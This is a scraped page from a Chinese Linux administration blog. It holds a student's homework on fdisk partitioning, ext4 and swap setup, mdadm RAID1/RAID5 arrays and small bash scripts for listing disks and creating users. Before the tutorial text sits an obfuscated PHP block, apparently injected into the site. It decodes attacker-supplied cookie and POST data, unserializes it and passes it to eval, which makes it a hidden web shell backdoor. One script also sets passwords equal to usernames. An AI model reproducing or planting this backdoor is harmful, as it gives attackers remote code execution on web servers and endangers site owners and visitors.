$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux磁盘分区创建及bash 简单应用 | Linux运维部落

Linux磁盘分区创建及bash 简单应用

1、创建一个10G分区,并格式为ext4文件系统;

(1)要求其block大小为2048,预留空间百分比为2,卷标为MYDATA,默认挂载属性包含acl;
(2)挂载至/data/mydata目录,要求挂载是禁止程序自动运行,并且更新文件的访问时间戳;
[root@danry ~]# fdisk /dev/sdb 
Welcome to fdisk (util-linux 2.23.2).

Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Device does not contain a recognized partition table
Building a new DOS disklabel with disk identifier 0xb74243b2.

Command (m for help): n
Partition type:
   p   primary (0 primary, 0 extended, 4 free)
   e   extende
Select (default p): p
Partition number (1-4, default 1): 1
First sector (2048-41943039, default 2048): 
Using default value 2048
Last sector, +sectors or +size{K,M,G} (2048-41943039, default 41943039): +10G
Partition 1 of type Linux and of size 10 GiB is set

Command (m for help): P

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xb74243b2

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    20973567    10485760   83  Linux

Command (m for help): W
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
[root@danry ~]# mke2fs -t ext4 -L MYDATA -m 2 -b 2048 /dev/sdb1
mke2fs 1.42.9 (28-Dec-2013)
Filesystem label=MYDATA
OS type: Linux
Block size=2048 (log=1)
Fragment size=2048 (log=1)
Stride=0 blocks, Stripe width=0 blocks
655360 inodes, 5242880 blocks
104857 blocks (2.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=273678336
320 block groups
16384 blocks per group, 16384 fragments per group
2048 inodes per group
Superblock backups stored on blocks: 
    16384, 49152, 81920, 114688, 147456, 409600, 442368, 802816, 1327104, 
    2048000, 3981312

Allocating group tables: done                            
Writing inode tables: done                            
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done   

[root@danry ~]# tune2fs -o acl /dev/sdb1
tune2fs 1.42.9 (28-Dec-2013)
[root@danry ~]# blkid /dev/sdb1
/dev/sdb1: LABEL="MYDATA" UUID="fa82387d-d7ab-41ec-be8b-54b25b4c57ac" TYPE="ext4" 
[root@danry ~]# 

[root@danry ~]# mount -o acl,noexec,noatime /dev/sdb1 /data/Mydata

2、创建一个大小为1G的swap分区,并创建好文件系统,并启用之;

[root@danry ~]# fdisk /dev/sdb 
Welcome to fdisk (util-linux 2.23.2).

Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): n
Partition type:
   p   primary (1 primary, 0 extended, 3 free)
   e   extended
Select (default p): p
Partition number (2-4, default 2): 2
First sector (20973568-41943039, default 20973568): 
Using default value 20973568
Last sector, +sectors or +size{K,M,G} (20973568-41943039, default 41943039): +1G
Partition 2 of type Linux and of size 1 GiB is set

Command (m for help): P

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xb74243b2

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    20973567    10485760   83  Linux
/dev/sdb2        20973568    23070719     1048576   83  Linux

Command (m for help): W
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.

[root@danry ~]# partx  -a /dev/sdb
partx: /dev/sdb: error adding partition 1
[root@danry ~]# mkswap /dev/sdb2
Setting up swapspace version 1, size = 1048572 KiB
no label, UUID=ab39844d-56fd-412e-bdb8-08703c3dbf81
[root@danry ~]# swapo
swapoff  swapon   
[root@danry ~]# swapo
swapoff  swapon   
[root@danry ~]# swapon  /dev/sdb2 

[root@danry ~]# free -m
              total        used        free      shared  buff/cache   available
Mem:           1823         282        1169           9         371        1344
Swap:          3071           0        3071
[root@danry ~]# 

3、写一个脚本

(1)获取并列出当前系统上的所有磁盘设备;
(2)显示每个磁盘设备上每个分区相关的空间使用信息;
[root@localhost Desktop]# cat lsdisk.sh 
#!/bin/bash
#Author:Danry
#Description: Display disk partition information!
#
display=`ls /dev/[s,h]d[a-z]`
fdisk -l $display
[root@localhost Desktop]# 
~
[root@localhost Desktop]# bash lsdisk.sh 
Disk /dev/sda: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0x0008508b

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048     1026047      512000   83  Linux
/dev/sda2         1026048    41943039    20458496   8e  Linux LVM

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

[root@localhost Desktop]# 

4、总结Raid的哥哥级别及其组合方式和性能不同;

Raid2、Raid3、Raid4现在几乎已经很少用到了
Raid0:至少两块硬盘,一个数据打散后写入到不同的硬盘当中,其增加读写性能,降低了数据的安全性,磁盘可用率100%。
Raid1:至少两块硬盘,一块硬盘写数据,一块硬盘做备份,其增加数据安全性,降低了数据的读写性能,磁盘可用率50%。
Raid4:至少三块硬盘,其中两块硬盘存放数据,一块硬盘存放校验值,增加了数据的读写性,也增加了数据的安全性,磁盘可用率(磁盘数-1)
Raid5:至少三块硬盘,其中两块硬盘存放数据,一块硬盘存放校验值,其每次数据校验盘是轮流交替的,增加了数据的读写性,也增加了数据的安全性,磁盘可用率(磁盘数-1)
Raid10:至少4块硬盘,其组合先引用Raid1的安全特性,再引用Raid0的读写特,若4快盘则:俩俩为一组,每组最多可坏一块硬盘,磁盘可用率50%性。
Raid01:至少4块硬盘,其组合是先引用Raid0的读写特性,再引用Raid1安全特性,若4快盘则:俩俩为一组,每组最多可坏一块硬盘,磁盘可用率50%。

5、创建一个大小为10G的Raid1,要求一个空闲盘,而且CHUN大小为128K;

[root@localhost Desktop]# mdadm -C /dev/md1 -n 2 -x 1 -c 128 -l 1 /dev/sdb1 /dev/sdb2 /dev/sdb3
mdadm: /dev/sdb1 appears to contain an ext2fs file system
       size=10485760K  mtime=Sat Mar  4 13:38:10 2017
mdadm: Note: this array has metadata at the start and
    may not be suitable as a boot device.  If you plan to
    store '/boot' on this device please ensure that
    your boot-loader understands md/v1.x metadata, or use
    --metadata=0.90
Continue creating array? 
Continue creating array? (y/n) y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.
[root@localhost scripts]# mdadm -D /dev/md1 
/dev/md1:
        Version : 1.2
  Creation Time : Sat Mar  4 16:27:42 2017
     Raid Level : raid1
     Array Size : 5238784 (5.00 GiB 5.36 GB)
  Used Dev Size : 5238784 (5.00 GiB 5.36 GB)
   Raid Devices : 2
  Total Devices : 3
    Persistence : Superblock is persistent

    Update Time : Sat Mar  4 16:27:58 2017
          State : clean, resyncing 
 Active Devices : 2
Working Devices : 3
 Failed Devices : 0
  Spare Devices : 1

  Resync Status : 64% complete

           Name : localhost.localdomain:1  (local to host localhost.localdomain)
           UUID : 345d614a:1c8921d7:4a62d97c:6d9555cc
         Events : 10

    Number   Major   Minor   RaidDevice State
       0       8       17        0      active sync   /dev/sdb1
       1       8       18        1      active sync   /dev/sdb2

       2       8       19        -      spare   /dev/sdb3

6、创建一个大小为4G的Raid5设备,chunk大小为256K,格式化ext4文件系统,要求自动挂载至、backup目录,而且不更新访问时间戳,切支持acl功能;

[root@localhost Desktop]# mdadm -C /dev/md5 -n 4 -c 256 -l 5 /dev/sdb1 /dev/sdb2 /dev/sdb3 /dev/sdb4
mdadm: /dev/sdb1 appears to contain an ext2fs file system
       size=10485760K  mtime=Sat Mar  4 13:38:10 2017
mdadm: /dev/sdb1 appears to be part of a raid array:
       level=raid1 devices=2 ctime=Sat Mar  4 16:27:42 2017
Continue creating array? y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md5 started.
[root@localhost scripts]# mdadm -D /dev/md5 
/dev/md5:
        Version : 1.2
  Creation Time : Sat Mar  4 16:33:41 2017
     Raid Level : raid5
     Array Size : 3142656 (3.00 GiB 3.22 GB)
  Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
   Raid Devices : 4
  Total Devices : 4
    Persistence : Superblock is persistent

    Update Time : Sat Mar  4 16:33:47 2017
          State : clean 
 Active Devices : 4
Working Devices : 4
 Failed Devices : 0
  Spare Devices : 0

         Layout : left-symmetric
     Chunk Size : 256K

           Name : localhost.localdomain:5  (local to host localhost.localdomain)
           UUID : afc5cf68:aa1f4f34:f3047c47:d0b6f61c
         Events : 18

    Number   Major   Minor   RaidDevice State
       0       8       17        0      active sync   /dev/sdb1
       1       8       18        1      active sync   /dev/sdb2
       2       8       19        2      active sync   /dev/sdb3
       4       8       20        3      active sync   /dev/sdb4
[root@localhost Desktop]# echo "/dev/md5 /backup ext4 defaults,acl,noatime,nodiratime 0 0" >> /etc/fstab [root@localhost scripts]# mount -a

7、写一个脚本

(1)、接受一个以上字符串当做用户名;
(2)、显示每个文件拥有的行数;
(3)、总结说明本次共为几个文件统计了其行数;
#!/bin/bash
#Author:Danry
#Description:
#
#
#
if [ $# -le 1 ]
    then
        echo "please input someting" && exit 2
fi

for i in $*
    do 
        echo "$i line:$(cat $i | wc -l)"
    done 
        echo "there are $# files"
~
[root@danry Desktop]# bash test.sh abc.txt 
abc.txt line:6
there are 1 files


[root@danry Desktop]# cat abc.txt 
hao 
nihao 
hello 
world
good
morning`
[root@danry Desktop]# 

8、写一个脚本

(1)、传递两个以上字符串当作用户名;
(2)、创建这些用户;且密码通用户名;
(3)、总结说明共创建了几个用户;
#!/bin/bash
#Author:Danry
#Description:
#
if [ $# -le 1 ]
    then 
        echo "Must be more than two characters" && exit 2 
fi

sum=0
for user in $@
do
    if id $user &> /dev/null
        then
            echo "user $user already exists!"
            continue
    else
        useradd $user 
        echo "$user" | passwd --stdin $user  &>/dev/null
        echo "$user has been created."
        let sum++
    fi
done

echo "$sum users created."
~
[root@danry Desktop]# bash test2.sh  nihao nibuhao
nihao has been created.
nibuhao has been created.
2 users created.
[root@danry Desktop]# 

9、写一个脚本,新增20个用户,vistitor1-visitor20;计算它们的ID之和;

#!/bin/bash
#
#
for n in `seq 20`
    do
        username=visitor$n
        useradd $username
        uid=`id -u $username`
        let sumuserid+=$uid

    done
    echo "The users id SUM:$sumuserid"
~
[root@localhost Desktop]# bash test.sh 
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
Creating mailbox file: File exists
The users id SUM:20210
[root@localhost Desktop]#

[root@localhost Desktop]# tail -20 /etc/passwd
visitor1:x:1001:1001::/home/visitor1:/bin/bash
visitor2:x:1002:1002::/home/visitor2:/bin/bash
visitor3:x:1003:1003::/home/visitor3:/bin/bash
visitor4:x:1004:1004::/home/visitor4:/bin/bash
visitor5:x:1005:1005::/home/visitor5:/bin/bash
visitor6:x:1006:1006::/home/visitor6:/bin/bash
visitor7:x:1007:1007::/home/visitor7:/bin/bash
visitor8:x:1008:1008::/home/visitor8:/bin/bash
visitor9:x:1009:1009::/home/visitor9:/bin/bash
visitor10:x:1010:1010::/home/visitor10:/bin/bash
visitor11:x:1011:1011::/home/visitor11:/bin/bash
visitor12:x:1012:1012::/home/visitor12:/bin/bash
visitor13:x:1013:1013::/home/visitor13:/bin/bash
visitor14:x:1014:1014::/home/visitor14:/bin/bash
visitor15:x:1015:1015::/home/visitor15:/bin/bash
visitor16:x:1016:1016::/home/visitor16:/bin/bash
visitor17:x:1017:1017::/home/visitor17:/bin/bash
visitor18:x:1018:1018::/home/visitor18:/bin/bash
visitor19:x:1019:1019::/home/visitor19:/bin/bash
visitor20:x:1020:1020::/home/visitor20:/bin/bash
[root@localhost Desktop]# 

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/86957

(1)
上一篇 2017-09-11 21:04
下一篇 2017-09-11 22:06

相关推荐

  • Zabbix-3.2.3实现微信(WeChat)告警

    Zabbix-3.2.3实现微信(WeChat)告警 zabbix Zabbix可以通过多种方式把告警信息发送到指定人,常用的有邮件,短信报警方式,但是越来越多的企业开始使用zabbix结合微信作为主要的告警方式,这样可以及时有效的把告警信息推送到接收人,方便告警的及时处理。 关于邮件报警可以参考:Zabbix Web 邮件报警 一、微信企业号申请 地址: …

    2017-04-21
  • 【26期】Linux第二周学习小总结

    关于用户组的一些小小的整理     本周学习很多的知识,一些文件管理的技巧和命令,重定向和管道的实用技巧和拓展,最后则是到了我们的用户组的权限和管理,既然说到了管理,我们都知道在Linux中,老师讲的最多的一句话就是一切皆文件,既然是文件就会有用户去用,在里面进行各种的操作,比如增删改查啊,对文件的重新定义啊,那我们就…

    2017-07-21
  • DNS服务器之理论基础

    一、什么是DNS     DNS全称为Domain Name System,即域名系统,其作用就是将我们经常使用的“网址”解析为IP地址。     在互联网上通信需要借助于IP地址,但人类对于数字的记忆能力远不如文字,那么将IP地址转换成容易记忆的文字是个好办法,可是计算机只能识…

    Linux干货 2015-04-29
  • 网络接口Bonding以及网络组

    网络接口Bonding就是将多块网卡绑定同一IP地址对外提供服务,可以实现高可用或者负载均衡。当然,直接给两块网卡设置同一IP地址是不可能的。通过bonding,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的MAC地址。 网络组 :网络组:是将多个网卡聚合在一起方法,从而实现冗错和提高吞吐量。网络组不同于旧版中bonding技术,提供更好的性能…

    Linux干货 2016-11-23
  • 设计模式(二)单件模式Singleton(创建型)

      几乎所有面向对象的程序中,总有一些类的对象需要是唯一的,例如,通过数据库句柄到数据库的连接是独占的。您希望在应用程序中共享数据库句柄,因为在保持连接打开或关闭时,它是一种开销。再如大家最经常用的IM,如QQ,在同一台电脑,一个帐号只能有唯一的登录。 1. 问题 怎样确保一个特殊类的实例是独一无二的(它是这个类的唯一实例),并且这个实例…

    Linux干货 2015-06-24
  • N26 第六周作业

    总结vim编辑器的使用 Vim 模式    Vim 有六种基本模式    Normal mode                 Visual mode&nbs…

    Linux干货 2017-02-01

评论列表(1条)

  • h
    h 2017-09-13 10:58

    作业内容注意排版,不需要把过程全部记录下来,可以把重要知识点写下来。